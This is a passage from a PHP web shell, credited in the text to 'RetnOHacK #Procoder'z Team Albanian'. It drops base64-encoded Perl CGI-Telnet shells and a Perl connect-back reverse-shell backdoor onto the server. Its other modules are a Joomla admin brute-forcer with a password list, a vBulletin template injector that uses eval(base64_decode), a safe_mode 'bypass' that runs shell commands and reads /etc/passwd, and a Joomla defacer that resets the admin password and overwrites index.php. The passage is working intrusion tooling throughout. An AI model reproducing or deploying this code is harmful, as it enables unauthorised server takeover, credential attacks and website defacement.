LykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0K';
$file = fopen("izo.cin" ,"w+");
$write = fwrite ($file ,base64_decode($cgishellizocin));
fclose($file);
chmod("izo.cin",0755);
$netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
YXRhY2hlZFxuXG4iOw==';
$file = fopen("dc.pl" ,"w+");
$write = fwrite ($file ,base64_decode($netcatshell));
fclose($file);
chmod("dc.pl",0755);
echo "<iframe src=cgitelnet1/izo.cin width=96% height=90% frameborder=0></iframe>
</div>"; }
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jbrute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jbrute" method="post">
<meta name="author" content="RetnOHacK" />
<meta name="keywords" content="Joomla, Bruter, JoomlaBruter, JoomlaBruterForce, JoomlaBruterForceOnline" />
<meta name="description" content="RetnOHacK #Procoder'z Team Albanian" />
<center>
</br></br>
<center><b><font color="lime">+--=[ Joomla Bruter Force ]=--+</font></b><br /><br />
<form method="post" action="" enctype="multipart/form-data">
<table class="tabnet" width="38%" border="0"><center>
<th colspan="2">Joomla Brute Force</th>
<tr><td><p ><font class="d1">User :</font></th>
<input class="inputz" type='text' name="usr" value="admin" size="15"> </font></center><br /><br /></p>
</td></tr>
<tr><td><font class="">Sites list :</font>
</td><td><font class="" >Pass list :</font></td></tr>
<tr>
<td>
<textarea name="sites" style="background:black;" cols="40" rows="13" ></textarea>
</td><td>
<textarea name="w0rds" style="background:black;" cols="40" rows="13" >
admin
123456
password
102030
123123
12345
123456789
pass
test
admin123
demo
!@#$%^
</textarea>
</td></tr><center><tr><td>
<font >
<input class="inputzbut" type="submit" name="x" value="start" id="d4">
</font></td></tr><br>
tanks for procoder'z team albanian<br></center></table>
</form></center>
<?
@set_time_limit(0);
if($_POST['x']){
echo "<hr>";
$sites = explode("
",$_POST["sites"]); // Get Sites
$w0rds = explode("
",$_POST["w0rds"]); // Get w0rdLiSt
$Attack = new Joomla_brute_Force(); // Active Class
foreach($w0rds as $pwd){
foreach($sites as $site){
$Attack->check_it(txt_cln($site),$_POST['usr'],txt_cln($pwd)); // Brute :D
flush();flush();
}
}
}
# Class & Function'z
function txt_cln($value){ return str_replace(array("
","
"),"",$value); }
class Joomla_brute_Force{
public function check_it($site,$user,$pass){ // print result
if(eregi('com_config',$this->post($site,$user,$pass))){
echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href='$site/administrator/index.php'>$site/administrator/index.php</a></b></span><BR>";
$f = fopen("Result.txt","a+"); fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php
"); fclose($f);
flush();
}else{ echo "# Failed : $user:$pass -> $site<BR>"; flush();}
}
public function post($site,$user,$pass){ // Post -> user & pass
$token = $this->extract_token($site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,'username='.$user.'&passwd='.$pass.'&lang=en-GB&option=com_login&task=login&'.$token.'=1');
curl_setopt($curl,CURLOPT_TIMEOUT,20);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
public function extract_token($site){ // get token from source for -> function post
$source = $this->get_source($site);
preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token);
return $token[1][0];
}
public function get_source($site){ // get source for -> function extract_token
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_TIMEOUT,20);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
}
}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'vb'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=vb" method="post">
<br><br><br><div align="center">
<H2><span style="font-weight: 400"><font face="Trebuchet MS" size="4">
<b><font color="#00FF00">+--=[ VB Index Changer ]=--+</font></b>
</div><br>
<?
if(empty($_POST['index'])){
echo "<center><FORM method=\"POST\">";
echo "<table class=\"tabnet\">
<th colspan=\"2\">Vb Index Changer</th>
<tr><td>host </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"localhost\" value=\"localhost\"></td></tr>
<tr><td>database </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"database\" value=\"forum_vb\"></td></tr>
<tr><td>username </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"username\" value=\"user_vb\"></td></tr>
<tr><td>password </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"password\" value=\"vb\"></td></tr>
</tr>
<th colspan=\"2\">Your Index Code</th></table><table class=\"tabnet\">
<TEXTAREA name=\"index\" rows=\"13\" style=\"background:black\" border=\"1\" cols=\"69\" name=\"code\">your index code</TEXTAREA><br>
<INPUT class=\"inputzbut\" type=\"submit\" value=\"setting\" name=\"send\">
</FORM></table></center>";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$index = $_POST['index'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$index=str_replace("\'","'",$index);
$set_index = "{\${eval(base64_decode(\'";
$set_index .= base64_encode("echo \"$index\";");
$set_index .= "\'))}}{\${exit()}}</textarea>";
echo("UPDATE template SET template ='".$set_index."' ") ;
$ok=@mysql_query("UPDATE template SET template ='".$set_index."'") or die(mysql_error());
if($ok){
echo "!! update finish !!<br><br>";
}
}
}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=bypass" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>-=[ Command Bypass Exploit ]=-</font></b><br>
";
print_r('
<pre>
<form method="POST" action="">
<b><font color=#00ff00><b><font color="#00ff00">Command :=) </font></font></b><input name="baba" type="text" class="inputz" size="34"><input type="submit" class="inputzbut" value="Go">
</form>
<form method="POST" action=""><strong><b><font color="#00ff00">Menu Bypass :=) </font></strong><select name="liz0" size="1" class="inputz">
<option value="cat /etc/passwd">/etc/passwd</option>
<option value="netstat -an | grep -i listen">netstat</option>
<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
<option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
<option value="cat /etc/hosts">/etc/hosts</option>
<option value="cat /etc/named.conf">/etc/named.conf</option>
<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
</select> <input type="submit" class="inputzbut" value="Gö">
</form>
</pre>
');
ini_restore("safe_mode");
ini_restore("open_basedir");
$liz0=shell_exec($_POST[baba]);
$liz0zim=shell_exec($_POST[liz0]);
$uid=shell_exec('id');
$server=shell_exec('uname -a');
echo "<pre><h4>";
echo $liz0;
echo $liz0zim;
echo "</h4></pre>";
"</div>"; }
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jodexer'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jodexer" method="post">
<?php
if ($_POST['form_action'])
{
$h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
$dbprefix=($_POST['db_prefix']);
$username=($_POST['db_username']);
$password=($_POST['db_password']);
$dbname=($_POST['db_name']);
$site_url=($_POST['site_url']);
$co=randomt();
$link=mysql_connect("localhost",$username,$password) ;
mysql_select_db($dbname,$link) ;
$tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
echo("<br>[+] Changing admin password to 123456789");
$req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
if ( $req )
{
#################################################################
###################### V1.6 ######################
#################################################################
$req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
$data = mysql_fetch_array($req);
$template_name=$data["template"];
$req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
$data = mysql_fetch_array($req);
$template_id=$data["extension_id"];
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
///////////////////////////
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,"com_config");
if($pos === false) {
echo("<br>[-] Login Error");
exit;
}
else {
echo("<br>[~] Login Successful");
}
///////////////////////////
$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
if($hidden2) {
echo("<br>[+] index.php file founded in Theme Editor");
}
else {
echo("<br>[-] index.php Not found in Theme Editor");
exit;
}
echo("<br>[*] Updating Index.php .....");
$url2=$site_url."/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,'<dd class="message message">');
if($pos === false) {
echo("<br>[-] Updating Index.php Error");
exit;
}
else {
echo("<br>[~] index.php successfully saved");
}
#################################################################
###################### V1.6 END ######################
#################################################################
}
else
{
#################################################################
###################### V1.5 ######################
#################################################################
$req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
$data = mysql_fetch_array($req);
$template_name=$data["template"];
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,"com_config");
if($pos === false) {
echo("<br>[-] Login Error");
exit;
}
else {
echo("<br>[+] Login Successful");
}
///////////////////////////
$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
if($hidden2) {
echo("<br>[~] index.php file founded in Theme Editor");
}
else {
echo("<br>[-] index.php Not found in Theme Editor");
}
echo("<br>[*] Updating Index.php .....");
$url2=$site_url."/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,'<dd class="message message fade">');
if($pos === false) {
echo("<br>[-] Updating Index.php Error");
exit;
}
else {
echo("<br>[~] index.php successfully saved");
}
#################################################################
###################### V1.5 END ######################
#################################################################
}
}
function randomt() {
$chars = "abcdefghijkmnopqrstuvwxyz023456789";
srand((double)microtime()*1000000);
$i = 0;
$pass = '' ;
while ($i <= 7) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$i++;
}
return $pass;
}
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
{
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
$ar=trim($ar1[0]);
return $ar;
}
echo "
";
echo "<title>Joomla Index Changer c0ded By : RetnOHacK #Procoder'z Team Albanian</title>
";
echo "
";
echo "<center><table class=tabnet><tr>
";
echo "<br><br><b><font color=\"red\" size='+4'> -=[ Joomla Index Changer ]=- </font></b><br>
";
echo "
";
echo "<FORM action=\"\" method=\"post\">
";
echo "<input type=\"hidden\" name=\"form_action\" value=\"2\">
";
echo "<table class=\"tabnet\">
";
echo "<th colspan=\"2\">Joomla Index Changer</th>
";
echo "<tr><td>db_prefix </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"db_prefix\" value=\"jos_\"></td></tr>
";
echo "<tr><td>db_username </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"db_username\" value=\"\"></td></tr>
";
echo "<tr><td>db_password</td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"db_password\" value=\"\"></td></tr>
";
echo "<tr><td>db_name</td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"db_name\" value=\"\"></td></tr>
";
echo "<tr><td>Admin Control panel url</td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"site_url\" value=\"http://site.com/administrator/\"></td></tr>
";
echo "</tr>
";
echo "<th colspan=\"2\">Your Index Code</th></table><table class=\"tabnet\">
";
echo "<TEXTAREA rows=\"13\" style=\"background:black\" border=\"1\" cols=\"82\" name=\"code\">tanks to Procoderz Team Albanian, from x'1n73ct</TEXTAREA><br>
";
echo "<INPUT class=\"inputzbut\"class=submit type=\"submit\" value=\"Setting\" name=\"Submit\">
";
echo "</FORM></table>
";
echo "
";
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi2012')) {
echo "<center/><br/><b>
+--==[ CGI-Telnet Version 1.3 ]==--+
</b><br><br>";
mkdir('cgi2012', 0755);
chdir('cgi2012');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24ga